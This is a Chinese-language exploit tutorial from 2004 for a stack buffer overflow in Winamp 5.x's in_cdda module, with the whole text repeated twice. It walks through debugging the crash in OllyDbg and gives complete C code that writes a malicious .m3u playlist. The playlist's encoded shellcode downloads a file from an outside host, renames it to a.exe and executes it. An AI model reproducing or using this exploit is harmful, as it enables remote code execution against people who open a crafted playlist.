作者:ZwelL
日期:2004.11.29
团队:shadoweyes
上一个星期Brett Moore在BUGTRAG上面公布了WINAMP的溢出漏洞,说在in_cdda模块中存在strack溢出,受影响的系统为5.05和5.06. 后来k-otik又公布了针对该漏洞的messagbox测试,并给出了相关代码。但是在后来的测试中,发现k-otik给出的代码没有试验通过。于是对该漏洞进行了一些调试。发现了一些问题。
我们先来看一下存在问题的部分:Winamp在打开播放列表文件(.m3u),并处理.cda后辍格式时会调用in_cdda.dll进行处理。但是cdda库只能存储有限个字节(k-otik在Windows spanish XP Pro上测试的结果是20字节,而在中文版的windows2003 server中是12字节),从而导致缓冲区溢出。
用ollydbg进行调试,先用一个程序生成一个畸形的播放列表文件:
#include <stdio.h>
#include <windows.h>
#define HEADER "#EXTM3U/n"
char shellcode[]=
"C://1234567890ab1234.cda";
int main(int argc, char* argv[])
{
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);
if (sc == NULL)
{
printf ("malloc error/n");
return -1;
}
memset(sc,'/0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test.m3u","w+");
if (!fp)
{
printf (" error opening file./n");
return -1;
}
fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);
return 0;
}
///
用ollydbg打开winamp,再打开生成的文件播放,ollydbg会停在10009BD8处
10009BD8 884C04 30 MOV BYTE PTR SS:[ESP+EAX+30],CL
当跳过该处继续执行时,会出现执行异常:
Access violation when executing [38373635]
也就是说5678的位置就是将要跳转执行的位置。这个我们就可以控制了。有一点要注意,在实际播放过程中,winamp会自己处理第一个异常(不会报错),在第二个异常发生时才会执行我们的SHELLCODE。
现在要做的就是SHELLCODE的定位问题,这里给出相关数据:
in_cdda:
基址=10000000
大小=00031000
入口=1000CE1A
数据断(.data)偏移: 00054000
先开始填充我们的SHELLCODE,然后打开并播放该播放列表,当ollydbg第一次停下时,我们到in_cdda的领空搜索我们填充的数据。
这里面不同系统不同版本之间相差很大,比方说在2003中:
5.02版本:10023543
5.05版本:10024561
所以要达到shellcode的通用性的话,在这中间要填充大量的/x90,(后面发现还是不可行,因为有字节数量的限制)。
在调试过程中,发现去掉.cda这几个字节,加上c:/1234XXXX在内我们只能填充254个字节,这对shellcode的要求就相对比较高了。(在下面给出的溢出程序中,前面我是使用 http://zwell.3322.org/a.exe,谁知道硬是超出了字节限制,没办法,只好将程序名改成a.a,刚好可以执行,^_^).
下面给出完整的生成畸形播放列表文件的代码:
#include <stdio.h>
#include <windows.h>
#define HEADER "#EXTM3U/n"
char shellcode[]=
"C://1234"
"/x43/x35/x02/x10"
"/xeb/x0e/x5b/x4b/x33/xc9/xb1/xf1/x80/x34/x0b/x88/xe2/xfa/xeb/x05"
"/xe8/xed/xff/xff/xff"
"/x61/x2c/x88/x88/x88/xd7/xec/x29/xb8/x88/x88/x88/x03/xc8/x84/x03"
"/xf8/x94/x25/x03/xe0/x80/x03/x7f/xe2/x8c/xd1/x60/xcc/x88/x88/x88"
"/x6a/x71/xe0/xe7/xe6/x88/x88/xe0/xfd/xfa/xe4/xe5/xdc/x77/x9e/x03"
"/x60/x60/xa6/x88/x88/x88/x0b/x64/xa8/x03/x54/xe2/xa8/xdb/x77/xde"
"/x8c/x4f/x8c/x8b/xd4/xe9/xa6/xed/x4f/xcc/x8b/x8c/xf0/xed/x88/x88"
"/xbb/x48/xd8/xd8/xdb/xdf/xd8/x77/xde/x98/x03/x54/xd8/xdb/x77/xde"
"/x80/x77/xde/x84/xd9/xde/x03/xfd/xb4/x03/xfc/xa6/xf0/x8b/x7d/xde"
"/x03/xfe/xa8/x8b/x7d/xbb/x41/xc1/xc9/x25/x8b/x4d/xbb/x53/x87/x36"
"/x98/xb2/x5e/xfc/x80/x49/x43/x85/x8b/x52/xc8/x63/x79/xb3/x97/xfd"
"/x6f/xd6/x03/xd6/xac/x8b/x55/xee/x03/x84/xc3/x03/xd6/x94/x8b/x55"
"/x03/x8c/x03/x8b/x4d/x23/xd6/xd1/x4b/x60/xdf/x77/x77/x77/x06/xc6"
"/x86/x64/x49/xf1/x6d/x30/x10/x76/x02/x86/xf6/x50/x6a/xfb/xbe/x92"
"/xa7/xf8/xe0/xfc/xfc/xf8/xb2/xa7/xa7/xf2/xff/xed/xe4/xe4/xa6/xbb"
"/xbb/xba/xba/xa6/xe7/xfa/xef/xa7/xe9/xa6/xe9/x88/x90"
".cda";
int main(int argc, char* argv[])
{
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);
printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore/n");
printf ("Author:ZwelL/tDate:11.29/n");
printf ("Thx to k-otik/n");
printf ("Tested on Winamp 5.02, Windows 2003 Server/n/n");
if (sc == NULL)
{
printf ("malloc error/n");
return -1;
}
memset(sc,'/0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test.m3u","w+");
if (!fp)
{
printf (" error opening file./n");
return -1;
}
fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);
printf ("file test.m3u created./n");
return 0;
}
在播放生成的播放列表文件后,将会下载 http://zwell.3322.org/a.a并改名为a.exe然后执行,执行结果为一弹出对话框:Winamp Buffer overflow testing.
最后还有一个问题,在Shellcode最后,我用了/x90,理论上来讲是没必要的,但是实际上如果不用这个nop指令的话,shellcode就不会执行,好像是把"."字符给搞掉了...哪位知道的话,请说明一下。^_^
文章技术含量==0,只希望给初学者练练手。。。 ;-)
日期:2004.11.29
团队:shadoweyes
上一个星期Brett Moore在BUGTRAG上面公布了WINAMP的溢出漏洞,说在in_cdda模块中存在strack溢出,受影响的系统为5.05和5.06. 后来k-otik又公布了针对该漏洞的messagbox测试,并给出了相关代码。但是在后来的测试中,发现k-otik给出的代码没有试验通过。于是对该漏洞进行了一些调试。发现了一些问题。
我们先来看一下存在问题的部分:Winamp在打开播放列表文件(.m3u),并处理.cda后辍格式时会调用in_cdda.dll进行处理。但是cdda库只能存储有限个字节(k-otik在Windows spanish XP Pro上测试的结果是20字节,而在中文版的windows2003 server中是12字节),从而导致缓冲区溢出。
用ollydbg进行调试,先用一个程序生成一个畸形的播放列表文件:
#include <stdio.h>
#include <windows.h>
#define HEADER "#EXTM3U/n"
char shellcode[]=
"C://1234567890ab1234.cda";
int main(int argc, char* argv[])
{
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);
if (sc == NULL)
{
printf ("malloc error/n");
return -1;
}
memset(sc,'/0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test.m3u","w+");
if (!fp)
{
printf (" error opening file./n");
return -1;
}
fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);
return 0;
}
///
用ollydbg打开winamp,再打开生成的文件播放,ollydbg会停在10009BD8处
10009BD8 884C04 30 MOV BYTE PTR SS:[ESP+EAX+30],CL
当跳过该处继续执行时,会出现执行异常:
Access violation when executing [38373635]
也就是说5678的位置就是将要跳转执行的位置。这个我们就可以控制了。有一点要注意,在实际播放过程中,winamp会自己处理第一个异常(不会报错),在第二个异常发生时才会执行我们的SHELLCODE。
现在要做的就是SHELLCODE的定位问题,这里给出相关数据:
in_cdda:
基址=10000000
大小=00031000
入口=1000CE1A
数据断(.data)偏移: 00054000
先开始填充我们的SHELLCODE,然后打开并播放该播放列表,当ollydbg第一次停下时,我们到in_cdda的领空搜索我们填充的数据。
这里面不同系统不同版本之间相差很大,比方说在2003中:
5.02版本:10023543
5.05版本:10024561
所以要达到shellcode的通用性的话,在这中间要填充大量的/x90,(后面发现还是不可行,因为有字节数量的限制)。
在调试过程中,发现去掉.cda这几个字节,加上c:/1234XXXX在内我们只能填充254个字节,这对shellcode的要求就相对比较高了。(在下面给出的溢出程序中,前面我是使用 http://zwell.3322.org/a.exe,谁知道硬是超出了字节限制,没办法,只好将程序名改成a.a,刚好可以执行,^_^).
下面给出完整的生成畸形播放列表文件的代码:
#include <stdio.h>
#include <windows.h>
#define HEADER "#EXTM3U/n"
char shellcode[]=
"C://1234"
"/x43/x35/x02/x10"
"/xeb/x0e/x5b/x4b/x33/xc9/xb1/xf1/x80/x34/x0b/x88/xe2/xfa/xeb/x05"
"/xe8/xed/xff/xff/xff"
"/x61/x2c/x88/x88/x88/xd7/xec/x29/xb8/x88/x88/x88/x03/xc8/x84/x03"
"/xf8/x94/x25/x03/xe0/x80/x03/x7f/xe2/x8c/xd1/x60/xcc/x88/x88/x88"
"/x6a/x71/xe0/xe7/xe6/x88/x88/xe0/xfd/xfa/xe4/xe5/xdc/x77/x9e/x03"
"/x60/x60/xa6/x88/x88/x88/x0b/x64/xa8/x03/x54/xe2/xa8/xdb/x77/xde"
"/x8c/x4f/x8c/x8b/xd4/xe9/xa6/xed/x4f/xcc/x8b/x8c/xf0/xed/x88/x88"
"/xbb/x48/xd8/xd8/xdb/xdf/xd8/x77/xde/x98/x03/x54/xd8/xdb/x77/xde"
"/x80/x77/xde/x84/xd9/xde/x03/xfd/xb4/x03/xfc/xa6/xf0/x8b/x7d/xde"
"/x03/xfe/xa8/x8b/x7d/xbb/x41/xc1/xc9/x25/x8b/x4d/xbb/x53/x87/x36"
"/x98/xb2/x5e/xfc/x80/x49/x43/x85/x8b/x52/xc8/x63/x79/xb3/x97/xfd"
"/x6f/xd6/x03/xd6/xac/x8b/x55/xee/x03/x84/xc3/x03/xd6/x94/x8b/x55"
"/x03/x8c/x03/x8b/x4d/x23/xd6/xd1/x4b/x60/xdf/x77/x77/x77/x06/xc6"
"/x86/x64/x49/xf1/x6d/x30/x10/x76/x02/x86/xf6/x50/x6a/xfb/xbe/x92"
"/xa7/xf8/xe0/xfc/xfc/xf8/xb2/xa7/xa7/xf2/xff/xed/xe4/xe4/xa6/xbb"
"/xbb/xba/xba/xa6/xe7/xfa/xef/xa7/xe9/xa6/xe9/x88/x90"
".cda";
int main(int argc, char* argv[])
{
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);
printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore/n");
printf ("Author:ZwelL/tDate:11.29/n");
printf ("Thx to k-otik/n");
printf ("Tested on Winamp 5.02, Windows 2003 Server/n/n");
if (sc == NULL)
{
printf ("malloc error/n");
return -1;
}
memset(sc,'/0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test.m3u","w+");
if (!fp)
{
printf (" error opening file./n");
return -1;
}
fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);
printf ("file test.m3u created./n");
return 0;
}
在播放生成的播放列表文件后,将会下载 http://zwell.3322.org/a.a并改名为a.exe然后执行,执行结果为一弹出对话框:Winamp Buffer overflow testing.
最后还有一个问题,在Shellcode最后,我用了/x90,理论上来讲是没必要的,但是实际上如果不用这个nop指令的话,shellcode就不会执行,好像是把"."字符给搞掉了...哪位知道的话,请说明一下。^_^
文章技术含量==0,只希望给初学者练练手。。。 ;-)